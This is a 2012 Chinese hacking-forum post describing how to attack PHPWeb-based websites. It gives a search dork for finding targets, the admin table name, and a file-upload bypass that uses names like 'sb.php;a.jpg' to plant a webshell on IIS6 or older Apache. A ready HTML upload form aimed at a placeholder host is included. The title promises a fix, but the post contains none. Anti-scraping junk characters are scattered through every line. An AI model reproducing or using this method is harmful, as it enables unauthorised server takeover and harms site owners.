找回密码
 立即注册
查看: 2521|回复: 0
打印 上一主题 下一主题

phpweb成品网站全版本通杀注入漏洞及修复

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 20:52:15 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
关键字:inurl:webmall/detail.php?id" T- _; B/ r- ]' {' X, j

- i7 N) y9 k( [; _数据表:pwn_base_admin+ @* [( |  t3 ^9 u, Z& I

  L* U& |! E4 D8 U* g2 \; G关于拿shell1 o* T. N9 C/ ^1 I+ M

8 h: L5 N4 J/ d4 J# d5 |首先登录后台admin.php
' n2 X( ?' z3 B) _3 D: \ ! u8 Y- r6 N9 p# i4 @
看了upload.php源码,分析了一个下午,然后大约是明白了虽然上传那里只允许上传gif,jpg,png,bmp四种文件,但是并没有对文件名做限制。
% w4 U) I8 p1 n  Y# n" z. r换句话说,sb.php;a.jpg这样的文件也是允许的,只要服务器是IIS6就拿到webshel,低版本的apache可以试着重命名为sb.php.jpg
+ B! z6 I& G, ?然后搞完了才发现,这里的比我的更精简,我那个蛋疼,膜拜下三石,然后就借用了,我的开始和他的一样是采取全部源码的,然后发现了更精简的  l+ x1 m$ E5 r8 z
<form name="uploadForm" method="post" enctype="multipart/form-data" action="http://xxx.com/kedit/upload_cgi/upload.php">
, I1 J3 n. n7 S5 ]. X<input type="text" name="fileName" value="sb.php;a.jpg" />
2 U6 w" ]5 ]1 `7 s8 I<input type="hidden" name="attachPath" value="news/pics/" /> ' ]" A* W5 l2 x) N- l/ d2 I
<input type="file" name="fileData" size="14" /></td> 9 G9 a3 ]' G. }& f4 ~# B
<input type="submit" name="button" value="确定" />
6 p5 q9 Z0 I6 @" k& H4 q</form>
2 a* e( x! U# } # k& ^9 W! x; ]
首先登录后台,然后把上面的文件保存为xx.html,修改action,然后再上传,如果为iis6就在上传了查看源码就好了。9 h% [- l2 O0 |8 Y5 ^, v
6 U  A* ?/ [( @5 c1 O- M& K
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表